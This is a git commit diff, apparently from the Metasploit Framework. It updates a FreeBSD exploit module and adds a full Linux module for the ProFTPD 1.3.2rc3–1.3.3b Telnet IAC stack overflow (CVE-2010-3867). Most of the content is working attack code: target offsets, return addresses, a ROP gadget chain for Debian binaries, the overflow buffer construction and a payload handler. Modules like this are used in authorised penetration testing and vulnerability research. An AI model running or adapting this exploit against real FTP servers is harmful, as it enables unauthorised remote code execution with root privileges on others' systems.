add linux version (Debian unstable), update freebsd version
git-svn-id: file:///home/svn/framework3/trunk@10922 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
cf70f322d0
commit
0b565d8619
|
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow',
|
'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits a stack-based buffer overflow in versions of ProFTPD
|
This module exploits a stack-based buffer overflow in versions of ProFTPD
|
||||||
server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
|
server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
|
||||||
|
@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# NOTE: \xff's need to be doubled (per ftp/telnet stuff)
|
# NOTE: \xff's need to be doubled (per ftp/telnet stuff)
|
||||||
'BadChars' => "\x00\x0a\x0d",
|
'BadChars' => "\x00\x0a\x0d",
|
||||||
'DisableNops' => 'True',
|
'DisableNops' => 'True',
|
||||||
'StackAdjustment' => -1500
|
'PrependEncoder' => "\x83\xec\x7f", # sub esp,0x7f (fix esp)
|
||||||
},
|
},
|
||||||
'Platform' => [ 'bsd' ],
|
'Platform' => [ 'bsd' ],
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
|
@ -56,26 +56,29 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
[ 'Automatic Targeting', { 'auto' => true } ],
|
[ 'Automatic Targeting', { 'auto' => true } ],
|
||||||
|
|
||||||
#
|
#
|
||||||
# specific targets
|
# This special one comes first since we dont want its index changing.
|
||||||
#
|
#
|
||||||
[ 'ProFTPD 1.3.2a Server (FreeBSD 8.0)',
|
[ 'Debug',
|
||||||
{
|
{
|
||||||
'Offset' => 15,
|
'IACCount' => 8192, # should cause crash writing off end of stack
|
||||||
'Ret' => 0xbfbfeac4,
|
'Offset' => 0,
|
||||||
'Readable' => 0xbfbfbfbf,
|
'Ret' => 0x41414242,
|
||||||
|
'Writable' => 0x43434545
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
|
|
||||||
#
|
#
|
||||||
# this one will detect the parameters automagicly
|
# specific targets
|
||||||
#
|
#
|
||||||
[ 'Debug',
|
[ 'ProFTPD 1.3.2a Server (FreeBSD 8.0)',
|
||||||
{
|
{
|
||||||
'Offset' => -1,
|
'IACCount' => 1024,
|
||||||
'Writable' => 0x41414242, #
|
'Offset' => 0x414,
|
||||||
'FlowHook' => 0x43434545 #
|
'Ret' => 0xbfbfeac4,
|
||||||
|
'Writable' => 0x80e64a4,
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
|
|
||||||
],
|
],
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
'DisclosureDate' => 'Nov 1 2010'))
|
'DisclosureDate' => 'Nov 1 2010'))
|
||||||
|
@ -158,25 +161,32 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Selected Target: #{mytarget.name}")
|
print_status("Selected Target: #{mytarget.name}")
|
||||||
|
|
||||||
|
pl = exploit_regenerate_payload(mytarget.platform, arch)
|
||||||
|
if not pl
|
||||||
|
raise RuntimeError, 'Unable to regenerate payload!'
|
||||||
|
end
|
||||||
else
|
else
|
||||||
print_status("Trying target #{mytarget.name}...")
|
print_status("Trying target #{mytarget.name}...")
|
||||||
if banner
|
if banner
|
||||||
print_status("FTP Banner: #{banner.strip}")
|
print_status("FTP Banner: #{banner.strip}")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
pl = payload
|
||||||
end
|
end
|
||||||
|
|
||||||
#puts "attach and press any key"; bleh = $stdin.gets
|
puts "attach and press any key"; bleh = $stdin.gets
|
||||||
|
|
||||||
buf = ''
|
buf = ''
|
||||||
buf << 'SITE '
|
buf << 'SITE '
|
||||||
buf << "\xff" * 1024
|
# NOTE: buf must be odd-lengthed prior to here.
|
||||||
buf << rand_text_alphanumeric(mytarget['Offset'])
|
buf << "\xff" * mytarget['IACCount']
|
||||||
|
buf << rand_text_alphanumeric(mytarget['Offset'] - buf.length)
|
||||||
buf << [
|
buf << [
|
||||||
mytarget['Ret'],
|
mytarget['Ret'],
|
||||||
mytarget['Readable']
|
mytarget['Writable']
|
||||||
].pack('VV')
|
].pack('V*')
|
||||||
#buf << "\xcc"
|
buf << payload.encoded
|
||||||
buf << payload.encoded #.gsub("\xff", "\xff\xff")
|
|
||||||
buf << "\r\n"
|
buf << "\r\n"
|
||||||
|
|
||||||
sock.put(buf)
|
sock.put(buf)
|
||||||
|
|
|
@ -0,0 +1,289 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Ftp
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a stack-based buffer overflow in versions of ProFTPD
|
||||||
|
server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
|
||||||
|
large number of Telnet IAC commands, an attacker can corrupt memory and
|
||||||
|
execute arbitrary code.
|
||||||
|
|
||||||
|
This version of the exploit uses a little ROP stub to indirectly transfer the
|
||||||
|
flow of execution to a pool buffer (the cmd_rec "res" in "pr_cmd_read").
|
||||||
|
|
||||||
|
NOTE: Most Linux distributions either do not ship a vulnerable version of
|
||||||
|
ProFTPD, or they ship a version compiled with stack smashing protection. As of
|
||||||
|
this writing, SSP is believed to successfully mitigate this vulnerability.
|
||||||
|
},
|
||||||
|
'Author' => [ 'jduck' ],
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2010-3867'],
|
||||||
|
['OSVDB', '68985'],
|
||||||
|
['BID', '44562']
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'process',
|
||||||
|
'PrependChrootBreak' => true
|
||||||
|
},
|
||||||
|
'Privileged' => true,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 4096,
|
||||||
|
# NOTE: \xff are avoided here so we can control the number of them being sent.
|
||||||
|
'BadChars' => "\x00\x0a\x0d\xff",
|
||||||
|
'DisableNops' => 'True',
|
||||||
|
},
|
||||||
|
'Platform' => [ 'linux', ],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
#
|
||||||
|
# Automatic targeting via fingerprinting
|
||||||
|
#
|
||||||
|
[ 'Automatic Targeting', { 'auto' => true } ],
|
||||||
|
|
||||||
|
#
|
||||||
|
# This special one comes first since we dont want its index changing.
|
||||||
|
#
|
||||||
|
[ 'Debug',
|
||||||
|
{
|
||||||
|
'IACCount' => 8192, # should cause crash writing off end of stack
|
||||||
|
'Offset' => 0,
|
||||||
|
'Ret' => 0x41414242,
|
||||||
|
'Writable' => 0x43434545
|
||||||
|
}
|
||||||
|
],
|
||||||
|
|
||||||
|
#
|
||||||
|
# specific targets
|
||||||
|
#
|
||||||
|
[ 'ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1',
|
||||||
|
{
|
||||||
|
'IACCount' => 4096+16,
|
||||||
|
'Offset' => 0x102c-4,
|
||||||
|
# NOTE: All addresses are from the proftpd binary
|
||||||
|
'Ret' => 0x80c44c4, # pop esi / pop ebp / ret
|
||||||
|
'Writable' => 0x80d81a0, # .data
|
||||||
|
'RopStack' =>
|
||||||
|
[
|
||||||
|
# Writable is here
|
||||||
|
0xcccccccc, # unused
|
||||||
|
0x80c44c2, # mov eax,esi / pop esi / pop ebp / ret
|
||||||
|
0xcccccccc, # unused
|
||||||
|
0xcccccccc, # unused
|
||||||
|
# quadruple deref the res pointer :)
|
||||||
|
0x8068886, # mov eax,[eax] / ret
|
||||||
|
0x8068886, # mov eax,[eax] / ret
|
||||||
|
0x8068886, # mov eax,[eax] / ret
|
||||||
|
0x8068886, # mov eax,[eax] / ret
|
||||||
|
# skip the pool chunk header
|
||||||
|
0x805bd8e, # inc eax / adc cl, cl / ret
|
||||||
|
0x805bd8e, # inc eax / adc cl, cl / ret
|
||||||
|
0x805bd8e, # inc eax / adc cl, cl / ret
|
||||||
|
0x805bd8e, # inc eax / adc cl, cl / ret
|
||||||
|
0x805bd8e, # inc eax / adc cl, cl / ret
|
||||||
|
0x805bd8e, # inc eax / adc cl, cl / ret
|
||||||
|
0x805bd8e, # inc eax / adc cl, cl / ret
|
||||||
|
0x805bd8e, # inc eax / adc cl, cl / ret
|
||||||
|
0x805bd8e, # inc eax / adc cl, cl / ret
|
||||||
|
0x805bd8e, # inc eax / adc cl, cl / ret
|
||||||
|
0x805bd8e, # inc eax / adc cl, cl / ret
|
||||||
|
0x805bd8e, # inc eax / adc cl, cl / ret
|
||||||
|
0x805bd8e, # inc eax / adc cl, cl / ret
|
||||||
|
0x805bd8e, # inc eax / adc cl, cl / ret
|
||||||
|
0x805bd8e, # inc eax / adc cl, cl / ret
|
||||||
|
0x805bd8e, # inc eax / adc cl, cl / ret
|
||||||
|
# execute the data :)
|
||||||
|
0x0805c26c, # jmp eax
|
||||||
|
],
|
||||||
|
}
|
||||||
|
],
|
||||||
|
|
||||||
|
# For the version compiled with symbols :)
|
||||||
|
[ 'ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)',
|
||||||
|
{
|
||||||
|
'IACCount' => 4096+16,
|
||||||
|
'Offset' => 0x1028-4,
|
||||||
|
# NOTE: All addresses are from the proftpd binary
|
||||||
|
'Writable' => 0x80ec570, # .data
|
||||||
|
'Ret' => 0x80d78c2, # pop esi / pop ebp / ret
|
||||||
|
'RopStack' =>
|
||||||
|
[
|
||||||
|
# Writable is here
|
||||||
|
#0x0808162a, # jmp esp (works w/esp fixup)
|
||||||
|
0xcccccccc, # unused (becomes ebp)
|
||||||
|
0x80d78c2, # mov eax,esi / pop esi / pop ebp / ret
|
||||||
|
0xcccccccc, # unused (becomes esi)
|
||||||
|
0xcccccccc, # unused (becomes ebp)
|
||||||
|
# quadruple deref the res pointer :)
|
||||||
|
0x806a915, # mov eax,[eax] / pop ebp / ret
|
||||||
|
0xcccccccc, # unused (becomes ebp)
|
||||||
|
0x806a915, # mov eax,[eax] / pop ebp / ret
|
||||||
|
0xcccccccc, # unused (becomes ebp)
|
||||||
|
0x806a915, # mov eax,[eax] / pop ebp / ret
|
||||||
|
0xcccccccc, # unused (becomes ebp)
|
||||||
|
0x806a915, # mov eax,[eax] / pop ebp / ret
|
||||||
|
0xcccccccc, # unused (becomes ebp)
|
||||||
|
# skip the pool chunk header
|
||||||
|
0x805d6a9, # inc eax / adc cl, cl / ret
|
||||||
|
0x805d6a9, # inc eax / adc cl, cl / ret
|
||||||
|
0x805d6a9, # inc eax / adc cl, cl / ret
|
||||||
|
0x805d6a9, # inc eax / adc cl, cl / ret
|
||||||
|
0x805d6a9, # inc eax / adc cl, cl / ret
|
||||||
|
0x805d6a9, # inc eax / adc cl, cl / ret
|
||||||
|
0x805d6a9, # inc eax / adc cl, cl / ret
|
||||||
|
0x805d6a9, # inc eax / adc cl, cl / ret
|
||||||
|
0x805d6a9, # inc eax / adc cl, cl / ret
|
||||||
|
0x805d6a9, # inc eax / adc cl, cl / ret
|
||||||
|
0x805d6a9, # inc eax / adc cl, cl / ret
|
||||||
|
0x805d6a9, # inc eax / adc cl, cl / ret
|
||||||
|
0x805d6a9, # inc eax / adc cl, cl / ret
|
||||||
|
0x805d6a9, # inc eax / adc cl, cl / ret
|
||||||
|
0x805d6a9, # inc eax / adc cl, cl / ret
|
||||||
|
0x805d6a9, # inc eax / adc cl, cl / ret
|
||||||
|
# execute the data :)
|
||||||
|
0x08058de6, # jmp eax
|
||||||
|
],
|
||||||
|
}
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Nov 1 2010'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(21),
|
||||||
|
], self.class )
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def check
|
||||||
|
# NOTE: We don't care if the login failed here...
|
||||||
|
ret = connect
|
||||||
|
|
||||||
|
# We just want the banner to check against our targets..
|
||||||
|
print_status("FTP Banner: #{banner.strip}")
|
||||||
|
|
||||||
|
status = CheckCode::Safe
|
||||||
|
if banner =~ /ProFTPD (1\.3\.[23][^ ])/i
|
||||||
|
ver = $1
|
||||||
|
maj,min,rel = ver.split('.')
|
||||||
|
relv = rel.slice!(0,1)
|
||||||
|
case relv
|
||||||
|
when '2'
|
||||||
|
if rel.length > 0
|
||||||
|
if rel[0,2] == 'rc'
|
||||||
|
if rel[2,rel.length].to_i >= 3
|
||||||
|
status = CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
else
|
||||||
|
status = CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
end
|
||||||
|
when '3'
|
||||||
|
# 1.3.3+ defaults to vulnerable (until >= 1.3.3c)
|
||||||
|
status = CheckCode::Vulnerable
|
||||||
|
if rel.length > 0
|
||||||
|
if rel[0,2] != 'rc' and rel[0,1] > 'b'
|
||||||
|
status = CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
disconnect
|
||||||
|
return status
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
connect
|
||||||
|
|
||||||
|
# Use a copy of the target
|
||||||
|
mytarget = target
|
||||||
|
|
||||||
|
if (target['auto'])
|
||||||
|
mytarget = nil
|
||||||
|
|
||||||
|
print_status("Automatically detecting the target...")
|
||||||
|
if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then
|
||||||
|
print_status("FTP Banner: #{banner.strip}")
|
||||||
|
version = m[1]
|
||||||
|
else
|
||||||
|
print_status("No matching target")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
regexp = Regexp.escape(version)
|
||||||
|
self.targets.each do |t|
|
||||||
|
if (t.name =~ /#{regexp}/) then
|
||||||
|
mytarget = t
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if (not mytarget)
|
||||||
|
print_status("No matching target")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Selected Target: #{mytarget.name}")
|
||||||
|
else
|
||||||
|
print_status("Trying target #{mytarget.name}...")
|
||||||
|
if banner
|
||||||
|
print_status("FTP Banner: #{banner.strip}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#puts "attach and press any key"; bleh = $stdin.gets
|
||||||
|
|
||||||
|
buf = ''
|
||||||
|
buf << 'SITE '
|
||||||
|
buf << payload.encoded
|
||||||
|
# The number of characters left must be odd at this point.
|
||||||
|
buf << rand_text(1) if (buf.length % 2) == 0
|
||||||
|
buf << "\xff" * (mytarget['IACCount'] - payload.encoded.length)
|
||||||
|
buf << rand_text_alphanumeric(mytarget['Offset'] - buf.length)
|
||||||
|
buf << [
|
||||||
|
mytarget['Ret'],
|
||||||
|
mytarget['Writable']
|
||||||
|
].pack('V*')
|
||||||
|
if mytarget['RopStack']
|
||||||
|
buf << mytarget['RopStack'].map { |e|
|
||||||
|
if e == 0xcccccccc
|
||||||
|
rand_text(4).unpack('V').first
|
||||||
|
else
|
||||||
|
e
|
||||||
|
end
|
||||||
|
e
|
||||||
|
}.pack('V*')
|
||||||
|
end
|
||||||
|
buf << "\r\n"
|
||||||
|
|
||||||
|
sock.put(buf)
|
||||||
|
disconnect
|
||||||
|
|
||||||
|
print_status("Your payload should have executed now...")
|
||||||
|
handler
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue